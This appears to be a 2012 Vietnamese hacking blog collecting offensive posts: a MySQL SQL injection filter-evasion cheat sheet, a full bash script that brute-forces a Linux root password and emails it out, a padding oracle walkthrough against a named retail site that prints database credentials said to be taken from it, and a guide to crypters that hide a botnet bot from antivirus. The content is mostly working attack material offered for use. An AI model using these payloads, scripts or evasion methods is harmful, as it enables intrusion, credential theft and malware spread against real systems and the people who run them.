Tuesday, September 4, 2012

SQLi filter evasion cheat sheet

SQLi filter evasion cheat sheet (MySQL)
Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_s chema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

Strings without quotes
‘abc’ = 0×616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true

Compare operator typecasting
select * from users where ‘a’='b’='c’
select * from users where (‘a’='b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users
Function filter

General function filtering
ascii (97)
load_file/*foo*/(0×616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36 ))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.col lations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space( 0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,'abc’)
position(‘a’,'abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,'a’)
substring_index(‘ab’,'b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,'a’)
mod(‘a’,'a’)
find_in_set(‘a’,'a’)
field(‘a’,'a’)
count(concat(‘a’,'a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)
Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a'))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoo t’,(load_file(‘file’)))+length(‘DocumentRo ot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=� �a',1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’='a’ then 1 [else 0] end
if(‘a’='a’,1,0)
ifnull(nullif(‘a’,'a’),1)

Nguồn:
http://websec.wordpress.com/2010/12/...t-sheet-mysql/

Share code Firefox's Start Page (đẹp)

Demo ảnh:
http://i942.photobucket.com/albums/ad269/juno_okyo/Juno_okyo%20Blog/1-1-200612-23-05AM.png
Demo online:
http://www.ghostclub.info/code/firefox/
 Download:
http://www.mediafire.com/?g1sb5zgqlntysow
Pass Unlock:
junookyo
P/S: Code này RIP ở Firefox (thấy đẹp nên zip chơi). Đã edit, thêm đoạn code check khung search (ko nhập gì mà ENTER sẽ hiện alert). Thích hợp làm trang home, có thể sửa các URL ở khung button phía dưới! Nói chung là code đẹp :D.

Wednesday, August 29, 2012

Get root password [Brute Force]

Rootdabitch version 0.1 - Multithreaded Linux root password Bruteforcer

r00tw0rm hacker "th3breacher!" release Rootdabitch v0.1 ,which is a Multithreaded Linux/UNIX tool to brute-force cracking local root through su using sucrack.

sucrack is a multithreaded Linux/UNIX tool for brute-force cracking local user accounts via su. The main feature of the Rootdabitch is that It's local brute forcer, using 10 passwords in 3 seconds. and works in background so you can leave it , when root is cracked it will email the user using /bin/mail .

All for this, you need to have a php shell/reverse shell/ssh access to the target to run thistool and run it as a normal user, Upload this script into it and give it the execution permission and execute the script like:

~ ./rootdabitch youremail@address.com  

If the password is cracked you will have a mail with the root password and the password will be stored into password.txt . Try it !

Download : http://rootdabitch.googlecode.com/fi...abitch-0.1.zip

Anh em thảo luận

Nguồn: http://thehackernews.com/2012/04/roo...ithreaded.html

======
Dịch:
Nôm na là Script này crack password của root bằng cách Bruteforcer với 3 giây dc 10 passwords.

Để sử dụng cần có 1 shell trên server cho phép chạy command.

Upload file này lên site hoặc download nó về bằng lệnh



PHP Code:
wget  http://rootdabitch.googlecode.com/files/rootdabitch-0.1.zip 
Sau đó giải nén bằng lệnh


PHP Code:
unzip rootdabitch-0.1.zip 
Trao quyền thực thi cho file rootdabitch.sh bằng 1 trong 2 lệnh


PHP Code:
chmod +x rootdabitch.sh 
PHP Code:
chmod 755 rootdabitch.sh 
Sau đó thực hiện chạy script này với cú pháp


PHP Code:
./rootdabitch.sh tên_email 
Nếu crack thành công nó sẽ send password của root về email cho mình.

Code luôn, chỉ việc chmod and run:
 

#!/bin/bash

# R00TW0RMs (https://www.r00tw0rm.com/)
#-------------------------------------|------------------------------------------#
# ( )_ ( ) ( ) _ ( )_ ( )
# _ __ _ _ | ,_) _| | _ _ | |_ (_)| ,_) ___ | |__
#( '__)/'_`\ /'_`\ | | /'_` | /'_` )| '_`\ | || | /'___)| _ `\
#| | ( (_) )( (_) )| |_ ( (_| |( (_| || |_) )| || |_ ( (___ | | | |
#(_) `\___/'`\___/'`\__)`\__,_)`\__,_)(_,__/'(_)`\__)`\____)(_) (_)
# This was written for educational purpose and pentest only.
# Use it at your own risk. Author will be not responsible for any damage!
# Coder : th3breacher |th3breacher.wordpress.com|
# Version : 0.1
# Greetz : Inj3ct0r Team (1337day.com)
#-------------------------------------|------------------------------------------#
#Sucrack and wordlist links could be changed to a suitable one !
sucracklink="http://dl.dropbox.com/u/65302835/sucrack"
wordlistlink="http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2"
wordlistcompressedname="rockyou.txt.bz2"
wordlistname="rockyou.txt"
threads=10
#-------------------------------------|------------------------------------------#
email=$1

mynohup(){
# Close stdin, and make any read attempt an error
if [ -t 0 ]
then
exec 0>/dev/null
fi

# Redirect stdout to a file if it's a TTY
if [ -t 1 ]
then
exec 1>nohup.out
if [ $? -ne 0 ]
then
exec 1>$HOME/nohup.out
fi
fi

# Redirect stderr to stdout if it's a TTY
if [ -t 2 ]
then
exec 2>&1
fi

# Trap the HUP signal to ignore it
trap : HUP
}

downloadthatdic ()
{
echo -ne "[+] Downloading the wordlist from $wordlistlink\n"
wget $wordlistlink
bunzip2 $wordlistcompressedname
}
downloadsucrack ()
{
echo -ne "[+] Downloading sucrack from $sucracklink\n"
wget $sucracklink
chmod +x sucrack
}
action_send_mail_done()
{
SUBJECT="rootdabitch cracked password"
# Email To ?
EMAIL=$1
# Email text/message
EMAILMESSAGE="password.txt"
# send an email using /bin/mail
mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE

}
action_send_mail_undone()
{
SUBJECT="rootdabitch :("
# Email To ?
EMAIL=$1
# Email text/message
EMAILMESSAGE="password2.txt"
echo "failed..."> $EMAILMESSAGE
# send an email using /bin/mail
mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE

}

crackthatmofo ()
{
echo -ne "[+] Cracking with 10 threads..."
#You can change the threads number as you wish , just make sure it doesnt crash the server :)
./sucrack -w $threads $wordlistname | grep "password is:" >password.txt
if [-f "password.txt"]; then
action_send_mail_done $email
else
action_send_mail_undone $email
fi
}
cleanup ()
{
echo -ne "[+] Cleaning up..."
rm -f $wordlistcompressedname
rm -f $wordlistname
rm -f sucrack
}

#Main starts here
echo -ne "[+] Wait ! .. have patience=)\n"
mynohup
downloadsucrack
downloadthatdic
crackthatmofo
cleanup

[XSS] - CanhSat.vn

Tình trạng: Đã thông báo tới Quản trị viên (chưa fix)!

http://i942.photobucket.com/albums/ad269/juno_okyo/VNHack/1-1-201210-23-59AM.png 

Tuesday, August 21, 2012

[XSS] - VietNamNet.VN

Tình trạng: Đã gửi mail để báo lỗi cho Quản trị viên!
http://i.imm.io/BoQF.png

Monday, August 20, 2012

[TUT] Padding Oracle Attack

Victim: http://bigc.vn/

Kiểm tra lỗi Padding Orale


View source:

Chú ý đoạn code sau:

/WebResource.axd?d=OpduU2rj_NJHaBhjNiUZ7g2&amp;t=63 4538991637902500"

Bước 1: Chuẩn bị Tools

Trước tiên cần cài đặt perl:

http://www.activestate.com/activeperl/downloads

Coppy 2 file padBuster.pl và Web.config_bruter.pl sau vào ổ C:

padBuster.pl:

http://www.mediafire.com/?a0auo2tca0ffdfe

Web.config_bruter.pl:

http://www.mediafire.com/?3twc9xwizdcdw8p

pass unlock: soleil_vhb

pass giải nén: ceh.vn

Bước 2: Thực hiện lệnh trên CMD

vào Run command

Cd\

Chạy lệnh:


padBuster.pl http://bigc.vn/WebResource.axd?d=Opd...NJHaBhjNiUZ7g2 OpduU2rj_NJHaBhjNiUZ7g2 8 -encoding 3 -plaintext "|||~/web.config"




Đến bước này đợi 1 lát, nó sẽ chạy cho đến dòng:

“The ID# marked with ** is recommended: “

Lúc này ta sẽ nhập số 2 và ấn enter



Chờ đợi tầm 30 phút chương trình sẽ giải mã ra giá trị sau:

M0-Q6vb5oiWPYJMC3WdcQgAAAAAAAAAA0

Sau khi có giá trị kết quả giải mã, thực hiện tiếp câu lệnh:

Web.config_bruter.pl http://bigc.vn/WebResource.axd M0-Q6vb5oiWPYJMC3WdcQgAAAAAAAAAA0 8

Đợi chương trình biên dịch xong ( Tầm 1 tiếng ) ta sẽ có kết quả như sau:



Kết quả:

u2LzoCD0ZcozT5Dq9vm iJY9gkwLdZ1xCAAAAAAAAAAA1

gPdbQmmzWIEzT5Dq9vmiJY9gkwLdZ1xCAAAAAAAAAAA1

Mỗi lần biên dịch, chương trình sẽ cho ra 1 giá trị khác nhau nhưng link đều đưa về cùng 1 kết quả

Bước 3: Lấy thông tin file config:

http://bigc.vn/ScriptResource.axd?d=...xCAAAAAAAAAAA1

hoặc:

http://bigc.vn/ScriptResource.axd?d=...xCAAAAAAAAAAA1

Ta được thông tin sau: ID=bigc;Password=RrmX6W6ODi



Bước 4: login vào Database

Sử dụng tool: MySQL management studio express

http://www.scottsystems.com/products..._ce/downloads/



Slide: http://www.mediafire.com/view/?u1qczh2b7ip45sw

Một số phần mền Mã Hóa Virus Free

1-      07-12-12 Crypter
-          Click vào file và chọn path tới file virus
-          Click vào stub và chọn path tới file stub.exe ( cùng thư mục với file 07-12-12 Crypter.exe )
-          Sau đó tùy chọn các chức năng và Encrypt
-          Trong trường hợp này Soleil sẽ lấy demo với file virus là con bot được tạo từ tool botnet Di5
-          Hình ảnh check file virus khi chưa mã hóa:

-          Với con bot này thì nó bị phát hiện 31/42 phần mền anti virus.
               
-          Hình ảnh con bot di5 sau khi được mã hóa với  07-12-12 Crypter. Nó đã bypass anti được 1 nửa và chỉ còn bị phát hiện 15/42 phần mền anti virus.
-         
 
      2-      Haxor – Aio
-          Tool này có nhiều chức năng hơn so với tool  07-12-12 Crypter như binder, extension Spoofer, Icon changer…
-          Click vào Crypter chọn path file virus, Soleil sẽ lấy ví dụ đôi với con bot Di5 như ở trên.
-          Khi mã hóa con bot của di5 đó với Haxor – Aio thì chỉ còn 9/42 phần mền antivirus phát hiện, 1 kết quả không tồi.
-          Hình ảnh demo:
     3-      Chrome Crypter v2
-          Browse thư nhất dùng để dẫn tới path file virus
-          Browse thứ 2 dùng để change icon cho virus
-          Browse thứ 3 dùng để gắn virus vào 1 chương trình ( binder)
-           Cũng với con bot tạo bởi Di5 đó, khi được mã hóa với Chrome Crypter v.2 thì còn 18/42 phần mền antivirus phát hiện
-          Hình ảnh demo:
     
      4-      Amnesia
-          Tool encrypt Amnesia này rất đầy đủ các chưc năng như thay đổi icon, đính kèm phần mền, thể hiện thông báo,  download, spoofer, pumper… Trong các tool free thì tool này soleil cũng khá kết nhất với các chức năng của nó.
-          Khả năng bypass của nó cũng khá tốt, chỉ còn 10/41 phần mền anti phát hiện đối với con bot được tạo bởi Di5.

Toàn bộ pass các link download trên (nếu có ):
pass unlock: soleil_vhb 
pass giải nén: ceh.vn
Đây là những Tool free, Vì vậy bài tut này mang tính chất giới thiệu và tham khảo, không hứa hẹn kỳ vọng nhiều về việc ứng dụng nó. Thực chất hiện giờ chỉ cần mã hóa qua đc kis, bkav, cmc,  avg, avira là xem như đã thành công. Trong bài tut tiếp theo về mã hóa Soleil sẽ demo mã hóa FUD theo phương thức hexing! Tuy phức tạp 1 chút nhưng thu được kết quả mĩ mãn hơn. ^^

Popular Posts